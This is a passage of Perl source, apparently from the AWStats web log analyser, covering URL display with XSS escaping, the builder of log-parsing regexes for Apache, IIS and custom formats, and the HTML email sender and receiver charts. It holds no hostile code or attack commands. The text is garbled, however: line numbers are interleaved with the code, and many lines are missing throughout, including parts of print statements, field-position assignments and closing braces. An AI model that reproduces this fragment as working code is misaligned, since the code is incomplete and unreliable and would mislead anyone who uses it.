# Input: %Aliases $MaxLengthOfShownURL $ShowLinksOnUrl $SiteDomain $UseHTTPSLinkForUrl
8492
#------------------------------------------------------------------------------
8495
my $nompage = CleanXSS($url);
8497
# Call to plugins' function ShowInfoURL
8498
foreach my $pluginname ( keys %{ $PluginsLoaded{'ShowInfoURL'} } ) {
8500
# my $function="ShowInfoURL_$pluginname('$url')";
8501
# eval("$function");
8502
my $function = "ShowInfoURL_$pluginname";
8506
if ( length($nompage) > $MaxLengthOfShownURL ) {
8507
$nompage = substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
8509
if ($ShowLinksOnUrl) {
8510
my $newkey = CleanXSS($url);
8511
if ( $LogType eq 'W' || $LogType eq 'S' ) { # Web or streaming log file
8512
if ( $newkey =~ /^http(s|):/i )
8513
{ # URL seems to be extracted from a proxy log file
8515
. XMLEncode("$newkey")
8516
. "\" target=\"url\">"
8517
. XMLEncode($nompage) . "</a>";
8519
elsif ( $newkey =~ /^\// )
8520
{ # URL seems to be an url extracted from a web or wap server log file
8521
$newkey =~ s/^\/$SiteDomain//i;
8524
my $urlprot = 'http';
8525
if ( $UseHTTPSLinkForUrl && $newkey =~ /^$UseHTTPSLinkForUrl/ )
8530
. XMLEncode("$urlprot://$SiteDomain$newkey")
8531
. "\" target=\"url\">"
8532
. XMLEncode($nompage) . "</a>";
8535
print XMLEncode($nompage);
8538
elsif ( $LogType eq 'F' ) { # Ftp log file
8539
print XMLEncode($nompage);
8541
elsif ( $LogType eq 'M' ) { # Smtp log file
8542
print XMLEncode($nompage);
8544
else { # Other type log file
8545
print XMLEncode($nompage);
8549
print XMLEncode($nompage);
8553
#------------------------------------------------------------------------------
8554
# Function: Define value for PerlParsingFormat (used for regex log record parsing)
8555
# Parameters: $LogFormat
8557
# Output: $pos_xxx, @pos_extra, @fieldlib, $PerlParsingFormat
8559
#------------------------------------------------------------------------------
8560
sub DefinePerlParsingFormat {
8561
my $LogFormat = shift;
8562
$pos_vh = $pos_host = $pos_logname = $pos_date = $pos_tz = $pos_method =
8563
$pos_url = $pos_code = $pos_size = -1;
8564
$pos_referer = $pos_agent = $pos_query = $pos_gzipin = $pos_gzipout =
8565
$pos_compratio = -1;
8566
$pos_cluster = $pos_emails = $pos_emailr = $pos_hostr = -1;
8569
$PerlParsingFormat = '';
8571
# Log records examples:
8572
# Apache combined: 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "GET / HTTP/1.1" 200 1234 "http://www.from.com/from.htm" "Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)"
8573
# Apache combined (408 error): my.domain.com - user [09/Jan/2001:11:38:51 -0600] "OPTIONS /mime-tmp/xxx file.doc HTTP/1.1" 408 - "-" "-"
8574
# Apache combined (408 error): 62.161.78.73 user - [dd/mmm/yyyy:hh:mm:ss +0000] "-" 408 - "-" "-"
8575
# Apache combined (400 error): 80.8.55.11 - - [28/Apr/2007:03:20:02 +0200] "GET /" 400 584 "-" "-"
8576
# IIS: 2000-07-19 14:14:14 62.161.78.73 - GET / 200 1234 HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+5.01;+Windows+NT+5.0) http://www.from.com/from.htm
8577
# WebStar: 05/21/00 00:17:31 OK 200 212.242.30.6 Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt) http://www.cover.dk/ "www.cover.dk" :Documentation:graphics:starninelogo.white.gif 1133
8578
# Squid extended: 12.229.91.170 - - [27/Jun/2002:03:30:50 -0700] "GET http://www.callistocms.com/images/printable.gif HTTP/1.1" 304 354 "-" "Mozilla/5.0 Galeon/1.0.3 (X11; Linux i686; U;) Gecko/0" TCP_REFRESH_HIT:DIRECT
8580
# Apache common_with_mod_gzip_info1: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_compression_ratio}npct.
8581
# Apache common_with_mod_gzip_info2: %h %l %u %t \"%r\" %>s %b mod_gzip: %{mod_gzip_result}n In:%{mod_gzip_input_size}n Out:%{mod_gzip_output_size}n:%{mod_gzip_compression_ratio}npct.
8582
# Apache deflate: %h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\" (%{ratio}n)
8585
"Call To DefinePerlParsingFormat (LogType='$LogType', LogFormat='$LogFormat')"
8588
if ( $LogFormat =~ /^[1-6]$/ ) { # Pre-defined log format
8589
if ( $LogFormat eq '1' || $LogFormat eq '6' )
8590
{ # Same than "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"".
8591
# %u (user) is "([^\\/\\[]+)" instead of "[^ ]+" because can contain space (Lotus Notes). referer and ua might be "".
8593
# $PerlParsingFormat="([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) (.+) [^\\\"]+\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8594
$PerlParsingFormat =
8595
"([^ ]+) [^ ]+ ([^\\/\\[]+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+) \\\"(.*?)\\\" \\\"([^\\\"]*)\\\"";
8606
'host', 'logname', 'date', 'method', 'url', 'code',
8607
'size', 'referer', 'ua'
8610
elsif ( $LogFormat eq '2' )
8611
{ # Same than "date time c-ip cs-username cs-method cs-uri-stem sc-status sc-bytes cs-version cs(User-Agent) cs(Referer)"
8612
$PerlParsingFormat =
8613
"(\\S+ \\S+) (\\S+) (\\S+) (\\S+) (\\S+) ([\\d|-]+) ([\\d|-]+) \\S+ (\\S+) (\\S+)";
8624
'date', 'host', 'logname', 'method', 'url', 'code',
8625
'size', 'ua', 'referer'
8628
elsif ( $LogFormat eq '3' ) {
8629
$PerlParsingFormat =
8630
"([^\\t]*\\t[^\\t]*)\\t([^\\t]*)\\t([\\d|-]*)\\t([^\\t]*)\\t([^\\t]*)\\t([^\\t]*)\\t[^\\t]*\\t([^\\t]*)\\t([\\d]*)";
8640
'date', 'method', 'code', 'host',
8641
'ua', 'referer', 'url', 'size'
8644
elsif ( $LogFormat eq '4' ) { # Same than "%h %l %u %t \"%r\" %>s %b"
8645
# %u (user) is "(.+)" instead of "[^ ]+" because can contain space (Lotus Notes).
8646
$PerlParsingFormat =
8647
"([^ ]+) [^ ]+ (.+) \\[([^ ]+) [^ ]+\\] \\\"([^ ]+) ([^ ]+)(?: [^\\\"]+|)\\\" ([\\d|-]+) ([\\d|-]+)";
8656
( 'host', 'logname', 'date', 'method', 'url', 'code', 'size' );
8659
else { # Personalized log format
8660
my $LogFormatString = $LogFormat;
8662
# Replacement for Notes format string that are not Apache
8663
$LogFormatString =~ s/%vh/%virtualname/g;
8665
# Replacement for Apache format string
8666
$LogFormatString =~ s/%v(\s)/%virtualname$1/g;
8667
$LogFormatString =~ s/%v$/%virtualname/g;
8668
$LogFormatString =~ s/%h(\s)/%host$1/g;
8669
$LogFormatString =~ s/%h$/%host/g;
8670
$LogFormatString =~ s/%l(\s)/%other$1/g;
8671
$LogFormatString =~ s/%l$/%other/g;
8672
$LogFormatString =~ s/\"%u\"/%lognamequot/g;
8673
$LogFormatString =~ s/%u(\s)/%logname$1/g;
8674
$LogFormatString =~ s/%u$/%logname/g;
8675
$LogFormatString =~ s/%t(\s)/%time1$1/g;
8676
$LogFormatString =~ s/%t$/%time1/g;
8677
$LogFormatString =~ s/\"%r\"/%methodurl/g;
8678
$LogFormatString =~ s/%>s/%code/g;
8679
$LogFormatString =~ s/%b(\s)/%bytesd$1/g;
8680
$LogFormatString =~ s/%b$/%bytesd/g;
8681
$LogFormatString =~ s/\"%{Referer}i\"/%refererquot/g;
8682
$LogFormatString =~ s/\"%{User-Agent}i\"/%uaquot/g;
8683
$LogFormatString =~ s/%{mod_gzip_input_size}n/%gzipin/g;
8684
$LogFormatString =~ s/%{mod_gzip_output_size}n/%gzipout/g;
8685
$LogFormatString =~ s/%{mod_gzip_compression_ratio}n/%gzipratio/g;
8686
$LogFormatString =~ s/\(%{ratio}n\)/%deflateratio/g;
8688
# Replacement for a IIS and ISA format string
8689
$LogFormatString =~ s/cs-uri-query/%query/g; # Must be before cs-uri
8690
$LogFormatString =~ s/date\stime/%time2/g;
8691
$LogFormatString =~ s/c-ip/%host/g;
8692
$LogFormatString =~ s/cs-username/%logname/g;
8693
$LogFormatString =~ s/cs-method/%method/g; # GET, POST, SMTP, RETR STOR
8694
$LogFormatString =~ s/cs-uri-stem/%url/g;
8695
$LogFormatString =~ s/cs-uri/%url/g;
8696
$LogFormatString =~ s/sc-status/%code/g;
8697
$LogFormatString =~ s/sc-bytes/%bytesd/g;
8698
$LogFormatString =~ s/cs-version/%other/g; # Protocol
8699
$LogFormatString =~ s/cs\(User-Agent\)/%ua/g;
8700
$LogFormatString =~ s/c-agent/%ua/g;
8701
$LogFormatString =~ s/cs\(Referer\)/%referer/g;
8702
$LogFormatString =~ s/cs-referred/%referer/g;
8703
$LogFormatString =~ s/sc-authenticated/%other/g;
8704
$LogFormatString =~ s/s-svcname/%other/g;
8705
$LogFormatString =~ s/s-computername/%other/g;
8706
$LogFormatString =~ s/r-host/%virtualname/g;
8707
$LogFormatString =~ s/cs-host/%virtualname/g;
8708
$LogFormatString =~ s/r-ip/%other/g;
8709
$LogFormatString =~ s/r-port/%other/g;
8710
$LogFormatString =~ s/time-taken/%other/g;
8711
$LogFormatString =~ s/cs-bytes/%other/g;
8712
$LogFormatString =~ s/cs-protocol/%other/g;
8713
$LogFormatString =~ s/cs-transport/%other/g;
8715
s/s-operation/%method/g; # GET, POST, SMTP, RETR STOR
8716
$LogFormatString =~ s/cs-mime-type/%other/g;
8717
$LogFormatString =~ s/s-object-source/%other/g;
8718
$LogFormatString =~ s/s-cache-info/%other/g;
8719
$LogFormatString =~ s/cluster-node/%cluster/g;
8723
s/protocol/%protocolmms/g; # cs-method might not be available
8725
s/c-status/%codemms/g; # c-status used when sc-status not available
8726
if ($Debug) { debug(" LogFormatString=$LogFormatString"); }
8728
# $LogFormatString has an AWStats format, so we can generate PerlParsingFormat variable
8730
my $LogSeparatorWithoutStar = $LogSeparator;
8731
$LogSeparatorWithoutStar =~ s/[\*\+]//g;
8732
foreach my $f ( split( /\s+/, $LogFormatString ) ) {
8734
# Add separator for next field
8735
if ($PerlParsingFormat) { $PerlParsingFormat .= "$LogSeparator"; }
8737
# Special for logname
8738
if ( $f =~ /%lognamequot$/ ) {
8741
push @fieldlib, 'logname';
8742
$PerlParsingFormat .=
8743
"\\\"?([^\\\"]*)\\\"?"
8744
; # logname can be "value", "" and - in same log (Lotus notes)
8746
elsif ( $f =~ /%logname$/ ) {
8749
push @fieldlib, 'logname';
8751
# %u (user) is "([^\\/\\[]+)" instead of "[^$LogSeparatorWithoutStar]+" because can contain space (Lotus Notes).
8752
$PerlParsingFormat .= "([^\\/\\[]+)";
8756
elsif ( $f =~ /%time1$/ || $f =~ /%time1b$/ )
8757
{ # [dd/mmm/yyyy:hh:mm:ss +0000] or [dd/mmm/yyyy:hh:mm:ss], time1b kept for backward compatibility
8760
push @fieldlib, 'date';
8763
push @fieldlib, 'tz';
8764
$PerlParsingFormat .=
8765
"\\[([^$LogSeparatorWithoutStar]+)( [^$LogSeparatorWithoutStar]+)?\\]";
8767
elsif ( $f =~ /%time2$/ ) { # yyyy-mm-dd hh:mm:ss
8770
push @fieldlib, 'date';
8771
$PerlParsingFormat .=
8772
"([^$LogSeparatorWithoutStar]+\\s[^$LogSeparatorWithoutStar]+)"
8773
; # Need \s for Exchange log files
8775
elsif ( $f =~ /%time3$/ )
8776
{ # mon d hh:mm:ss or mon d hh:mm:ss or mon dd hh:mm:ss yyyy or day mon dd hh:mm:ss or day mon dd hh:mm:ss yyyy
8779
push @fieldlib, 'date';
8780
$PerlParsingFormat .=
8781
"(?:\\w\\w\\w )?(\\w\\w\\w \\s?\\d+ \\d\\d:\\d\\d:\\d\\d(?: \\d\\d\\d\\d)?)";
8783
elsif ( $f =~ /%time4$/ ) { # ddddddddddddd
8786
push @fieldlib, 'date';
8787
$PerlParsingFormat .= "(\\d+)";
8790
# Special for methodurl and methodurlnoprot
8791
elsif ( $f =~ /%methodurl$/ ) {
8794
push @fieldlib, 'method';
8797
push @fieldlib, 'url';
8798
$PerlParsingFormat .=
8800
#"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+) [^\\\"]+\\\"";
8801
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)(?: [^\\\"]+|)\\\"";
8803
elsif ( $f =~ /%methodurlnoprot$/ ) {
8806
push @fieldlib, 'method';
8809
push @fieldlib, 'url';
8810
$PerlParsingFormat .=
8811
"\\\"([^$LogSeparatorWithoutStar]+) ([^$LogSeparatorWithoutStar]+)\\\"";
8814
# Common command tags
8815
elsif ( $f =~ /%virtualnamequot$/ ) {
8818
push @fieldlib, 'vhost';
8819
$PerlParsingFormat .= "\\\"([^$LogSeparatorWithoutStar]+)\\\"";
8821
elsif ( $f =~ /%virtualname$/ ) {
8824
push @fieldlib, 'vhost';
8825
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8827
elsif ( $f =~ /%host_r$/ ) {
8830
push @fieldlib, 'hostr';
8831
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8833
elsif ( $f =~ /%host$/ ) {
8836
push @fieldlib, 'host';
8837
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8839
elsif ( $f =~ /%host_proxy$/ )
8840
{ # if host_proxy tag used, host tag must not be used
8843
push @fieldlib, 'host';
8844
$PerlParsingFormat .= "(.+?)(?:, .*)*";
8846
elsif ( $f =~ /%method$/ ) {
8849
push @fieldlib, 'method';
8850
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8852
elsif ( $f =~ /%url$/ ) {
8855
push @fieldlib, 'url';
8856
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8858
elsif ( $f =~ /%query$/ ) {
8861
push @fieldlib, 'query';
8862
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8864
elsif ( $f =~ /%code$/ ) {
8867
push @fieldlib, 'code';
8868
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8870
elsif ( $f =~ /%bytesd$/ ) {
8873
push @fieldlib, 'size';
8874
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8876
elsif ( $f =~ /%refererquot$/ ) {
8879
push @fieldlib, 'referer';
8880
$PerlParsingFormat .=
8881
"\\\"([^\\\"]*)\\\""; # referer might be ""
8883
elsif ( $f =~ /%referer$/ ) {
8886
push @fieldlib, 'referer';
8887
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8889
elsif ( $f =~ /%uaquot$/ ) {
8892
push @fieldlib, 'ua';
8893
$PerlParsingFormat .= "\\\"([^\\\"]*)\\\""; # ua might be ""
8895
elsif ( $f =~ /%uabracket$/ ) {
8898
push @fieldlib, 'ua';
8899
$PerlParsingFormat .= "\\\[([^\\\]]*)\\\]"; # ua might be []
8901
elsif ( $f =~ /%ua$/ ) {
8904
push @fieldlib, 'ua';
8905
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8907
elsif ( $f =~ /%gzipin$/ ) {
8910
push @fieldlib, 'gzipin';
8911
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8913
elsif ( $f =~ /%gzipout/ )
8914
{ # Compare $f to /%gzipout/ and not to /%gzipout$/ like other fields
8917
push @fieldlib, 'gzipout';
8918
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8920
elsif ( $f =~ /%gzipratio/ )
8921
{ # Compare $f to /%gzipratio/ and not to /%gzipratio$/ like other fields
8922
$pos_compratio = $i;
8924
push @fieldlib, 'gzipratio';
8925
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8927
elsif ( $f =~ /%deflateratio/ )
8928
{ # Compare $f to /%deflateratio/ and not to /%deflateratio$/ like other fields
8929
$pos_compratio = $i;
8931
push @fieldlib, 'deflateratio';
8932
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8934
elsif ( $f =~ /%email_r$/ ) {
8937
push @fieldlib, 'email_r';
8938
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8940
elsif ( $f =~ /%email$/ ) {
8943
push @fieldlib, 'email';
8944
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8946
elsif ( $f =~ /%cluster$/ ) {
8949
push @fieldlib, 'clusternb';
8950
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8952
elsif ( $f =~ /%timetaken$/ ) {
8953
$pos_timetaken = $i;
8955
push @fieldlib, 'timetaken';
8956
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8959
# Special for protocolmms, used for method if method not already found (for MMS)
8960
elsif ( $f =~ /%protocolmms$/ ) {
8961
if ( $pos_method < 0 ) {
8964
push @fieldlib, 'method';
8965
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8969
# Special for codemms, used for code only if code not already found (for MMS)
8970
elsif ( $f =~ /%codemms$/ ) {
8971
if ( $pos_code < 0 ) {
8974
push @fieldlib, 'code';
8975
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8980
elsif ( $f =~ /%extra(\d+)$/ ) {
8981
$pos_extra[$1] = $i;
8983
push @fieldlib, "extra$1";
8984
$PerlParsingFormat .= "([^$LogSeparatorWithoutStar]+)";
8988
elsif ( $f =~ /%other$/ ) {
8989
$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
8991
elsif ( $f =~ /%otherquot$/ ) {
8992
$PerlParsingFormat .= "\\\"[^\\\"]*\\\"";
8995
# Unknown tag (no parenthesis)
8997
$PerlParsingFormat .= "[^$LogSeparatorWithoutStar]+";
9000
if ( !$PerlParsingFormat ) {
9001
error("No recognized format tag in personalized LogFormat string");
9004
if ( $pos_host < 0 ) {
9006
"Your personalized LogFormat does not include all fields required by AWStats (Add \%host in your LogFormat string)."
9009
if ( $pos_date < 0 ) {
9011
"Your personalized LogFormat does not include all fields required by AWStats (Add \%time1 or \%time2 in your LogFormat string)."
9014
if ( $pos_method < 0 ) {
9016
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%method in your LogFormat string)."
9019
if ( $pos_url < 0 ) {
9021
"Your personalized LogFormat does not include all fields required by AWStats (Add \%methodurl or \%url in your LogFormat string)."
9024
if ( $pos_code < 0 ) {
9026
"Your personalized LogFormat does not include all fields required by AWStats (Add \%code in your LogFormat string)."
9029
if ( $pos_size < 0 ) {
9031
"Your personalized LogFormat does not include all fields required by AWStats (Add \%bytesd in your LogFormat string)."
9034
$PerlParsingFormat = qr/^$PerlParsingFormat/;
9035
if ($Debug) { debug(" PerlParsingFormat is $PerlParsingFormat"); }
9039
my ( $categ, $categtext, $categicon, $frame, $targetpage, $linkanchor,
9040
$NewLinkParams, $NewLinkTarget )
9041
= ( shift, shift, shift, shift, shift, shift, shift, shift );
9042
$categicon = ''; # Comment this to enabme category icons
9043
my ( $menu, $menulink, $menutext ) = ( shift, shift, shift );
9046
# Call to plugins' function AddHTMLMenuLink
9047
foreach my $pluginname ( keys %{ $PluginsLoaded{'AddHTMLMenuLink'} } ) {
9049
# my $function="AddHTMLMenuLink_$pluginname('$categ',\$menu,\$menulink,\$menutext)";
9050
# eval("$function");
9051
my $function = "AddHTMLMenuLink_$pluginname";
9052
&$function( $categ, $menu, $menulink, $menutext );
9054
foreach my $key (%$menu) {
9055
if ( $menu->{$key} && $menu->{$key} > 0 ) { $linetitle++; last; }
9057
if ( !$linetitle ) { return; }
9059
# At least one entry in menu for this category, we can show category and entries
9060
my $WIDTHMENU1 = ( $FrameName eq 'mainleft' ? $FRAMEWIDTH : 150 );
9061
print "<tr><td class=\"awsm\" width=\"$WIDTHMENU1\""
9062
. ( $frame ? "" : " valign=\"top\"" ) . ">"
9063
. ( $categicon ? "<img src=\"$DirIcons/other/$categicon\" /> " : "" )
9064
. "<b>$categtext:</b></td>\n";
9065
print( $frame? "</tr>\n" : "<td class=\"awsm\">" );
9066
foreach my $key ( sort { $menu->{$a} <=> $menu->{$b} } keys %$menu ) {
9067
if ( $menu->{$key} == 0 ) { next; }
9068
if ( $menulink->{$key} == 1 ) {
9069
print( $frame? "<tr><td class=\"awsm\">" : "" );
9071
"<a href=\"$linkanchor#$key\"$targetpage>$menutext->{$key}</a>";
9072
print( $frame? "</td></tr>\n" : " " );
9074
if ( $menulink->{$key} == 2 ) {
9076
? "<tr><td class=\"awsm\"> <img height=\"8\" width=\"9\" src=\"$DirIcons/other/page.png\" alt=\"...\" /> "
9081
$ENV{'GATEWAY_INTERFACE'}
9083
? XMLEncode("$AWScript?${NewLinkParams}output=$key")
9084
: "$PROG$StaticLinks.$key.$StaticExt"
9086
. "\"$NewLinkTarget>$menutext->{$key}</a>\n";
9087
print( $frame? "</td></tr>\n" : " " );
9090
print( $frame? "" : "</td></tr>\n" );
9093
sub ShowEmailSendersChart {
9094
my $NewLinkParams = shift;
9095
my $NewLinkTarget = shift;
9096
my $MaxLengthOfShownEMail = 48;
9109
#&ShowFormFilter("emailsfilter",$EmailsFilter);
9112
print "$Center<a name=\"emailsenders\"> </a><br />\n";
9114
if ( $HTMLOutput{'allemails'} || $HTMLOutput{'lastemails'} ) {
9115
$title = "$Message[131]";
9119
"$Message[131] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
9121
$ENV{'GATEWAY_INTERFACE'}
9123
? XMLEncode("$AWScript?${NewLinkParams}output=allemails")
9124
: "$PROG$StaticLinks.allemails.$StaticExt"
9126
. "\"$NewLinkTarget>$Message[80]</a>";
9127
if ( $ShowEMailSenders =~ /L/i ) {
9128
$title .= " - <a href=\""
9130
$ENV{'GATEWAY_INTERFACE'}
9132
? XMLEncode("$AWScript?${NewLinkParams}output=lastemails")
9133
: "$PROG$StaticLinks.lastemails.$StaticExt"
9135
. "\"$NewLinkTarget>$Message[9]</a>";
9138
&tab_head( "$title", 19, 0, 'emailsenders' );
9140
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[131] : "
9141
. ( scalar keys %_emails_h ) . "</th>";
9142
if ( $ShowEMailSenders =~ /H/i ) {
9143
print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9145
. ">$Message[57]</th>";
9147
if ( $ShowEMailSenders =~ /B/i ) {
9149
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9151
. ">$Message[75]</th>";
9153
if ( $ShowEMailSenders =~ /M/i ) {
9155
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9157
if ( $ShowEMailSenders =~ /L/i ) {
9158
print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9162
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>";
9163
$total_p = $total_h = $total_k = 0;
9165
foreach ( values %_emails_h ) {
9166
if ( $_ > $max_h ) { $max_h = $_; }
9169
foreach ( values %_emails_k ) {
9170
if ( $_ > $max_k ) { $max_k = $_; }
9173
if ( !$HTMLOutput{'allemails'} && !$HTMLOutput{'lastemails'} ) {
9174
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emails_h,
9177
if ( $HTMLOutput{'allemails'} ) {
9178
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9181
if ( $HTMLOutput{'lastemails'} ) {
9182
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emails_h,
9185
foreach my $key (@keylist) {
9187
if ( length($key) > $MaxLengthOfShownEMail ) {
9188
$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9193
$bredde_h = int( $BarWidth * $_emails_h{$key} / $max_h ) + 1;
9196
$bredde_k = int( $BarWidth * $_emails_k{$key} / $max_k ) + 1;
9199
my $direction = IsLocalEMail($key);
9201
if ( $direction > 0 ) {
9202
print "<td class=\"aws\">$newkey</td><td>-></td><td> </td>";
9204
if ( $direction == 0 ) {
9206
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9208
if ( $direction < 0 ) {
9209
print "<td class=\"aws\"> </td><td><-</td><td>$newkey</td>";
9211
if ( $ShowEMailSenders =~ /H/i ) { print "<td>$_emails_h{$key}</td>"; }
9212
if ( $ShowEMailSenders =~ /B/i ) {
9213
print "<td nowrap=\"nowrap\">"
9214
. Format_Bytes( $_emails_k{$key} ) . "</td>";
9216
if ( $ShowEMailSenders =~ /M/i ) {
9217
print "<td nowrap=\"nowrap\">"
9218
. Format_Bytes( $_emails_k{$key} / ( $_emails_h{$key} || 1 ) )
9221
if ( $ShowEMailSenders =~ /L/i ) {
9222
print "<td nowrap=\"nowrap\">"
9223
. ( $_emails_l{$key} ? Format_Date( $_emails_l{$key}, 1 ) : '-' )
9228
#$total_p += $_emails_p{$key};
9229
$total_h += $_emails_h{$key};
9230
$total_k += $_emails_k{$key};
9233
$rest_p = 0; # $rest_p=$TotalPages-$total_p;
9234
$rest_h = $TotalHits - $total_h;
9235
$rest_k = $TotalBytes - $total_k;
9236
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 ) { # All other sender emails
9238
"<tr><td colspan=\"3\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
9239
if ( $ShowEMailSenders =~ /H/i ) { print "<td>$rest_h</td>"; }
9240
if ( $ShowEMailSenders =~ /B/i ) {
9241
print "<td nowrap=\"nowrap\">" . Format_Bytes($rest_k) . "</td>";
9243
if ( $ShowEMailSenders =~ /M/i ) {
9244
print "<td nowrap=\"nowrap\">"
9245
. Format_Bytes( $rest_k / ( $rest_h || 1 ) ) . "</td>";
9247
if ( $ShowEMailSenders =~ /L/i ) { print "<td> </td>"; }
9253
sub ShowEmailReceiversChart {
9254
my $NewLinkParams = shift;
9255
my $NewLinkTarget = shift;
9256
my $MaxLengthOfShownEMail = 48;
9269
#&ShowFormFilter("emailrfilter",$EmailrFilter);
9272
print "$Center<a name=\"emailreceivers\"> </a><br />\n";
9274
if ( $HTMLOutput{'allemailr'} || $HTMLOutput{'lastemailr'} ) {
9275
$title = "$Message[132]";
9279
"$Message[132] ($Message[77] $MaxNbOf{'EMailsShown'}) - <a href=\""
9281
$ENV{'GATEWAY_INTERFACE'}
9283
? XMLEncode("$AWScript?${NewLinkParams}output=allemailr")
9284
: "$PROG$StaticLinks.allemailr.$StaticExt"
9286
. "\"$NewLinkTarget>$Message[80]</a>";
9287
if ( $ShowEMailReceivers =~ /L/i ) {
9288
$title .= " - <a href=\""
9290
$ENV{'GATEWAY_INTERFACE'}
9292
? XMLEncode("$AWScript?${NewLinkParams}output=lastemailr")
9293
: "$PROG$StaticLinks.lastemailr.$StaticExt"
9295
. "\"$NewLinkTarget>$Message[9]</a>";
9298
&tab_head( "$title", 19, 0, 'emailreceivers' );
9300
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th colspan=\"3\">$Message[132] : "
9301
. ( scalar keys %_emailr_h ) . "</th>";
9302
if ( $ShowEMailReceivers =~ /H/i ) {
9303
print "<th rowspan=\"2\" bgcolor=\"#$color_h\" width=\"80\""
9305
. ">$Message[57]</th>";
9307
if ( $ShowEMailReceivers =~ /B/i ) {
9309
"<th class=\"datasize\" rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\""
9311
. ">$Message[75]</th>";
9313
if ( $ShowEMailReceivers =~ /M/i ) {
9315
"<th rowspan=\"2\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
9317
if ( $ShowEMailReceivers =~ /L/i ) {
9318
print "<th rowspan=\"2\" width=\"120\">$Message[9]</th>";
9322
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th width=\"30%\">Local</th><th> </th><th width=\"30%\">External</th></tr>";
9323
$total_p = $total_h = $total_k = 0;
9325
foreach ( values %_emailr_h ) {
9326
if ( $_ > $max_h ) { $max_h = $_; }
9329
foreach ( values %_emailr_k ) {
9330
if ( $_ > $max_k ) { $max_k = $_; }
9333
if ( !$HTMLOutput{'allemailr'} && !$HTMLOutput{'lastemailr'} ) {
9334
&BuildKeyList( $MaxNbOf{'EMailsShown'}, $MinHit{'EMail'}, \%_emailr_h,
9337
if ( $HTMLOutput{'allemailr'} ) {
9338
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9341
if ( $HTMLOutput{'lastemailr'} ) {
9342
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'EMail'}, \%_emailr_h,
9345
foreach my $key (@keylist) {
9347
if ( length($key) > $MaxLengthOfShownEMail ) {
9348
$newkey = substr( $key, 0, $MaxLengthOfShownEMail ) . "...";
9353
$bredde_h = int( $BarWidth * $_emailr_h{$key} / $max_h ) + 1;
9356
$bredde_k = int( $BarWidth * $_emailr_k{$key} / $max_k ) + 1;
9359
my $direction = IsLocalEMail($key);
9361
if ( $direction > 0 ) {
9362
print "<td class=\"aws\">$newkey</td><td><-</td><td> </td>";
9364
if ( $direction == 0 ) {
9366
"<td colspan=\"3\"><span style=\"color: #$color_other\">$newkey</span></td>";
9368
if ( $direction < 0 ) {
9369
print "<td class=\"aws\"> </td><td>-></td><td>$newkey</td>";
9371
if ( $ShowEMailReceivers =~ /H/i ) {
9372
print "<td>$_emailr_h{$key}</td>";
9374
if ( $ShowEMailReceivers =~ /B/i ) {
9375
print "<td nowrap=\"nowrap\">"
9376
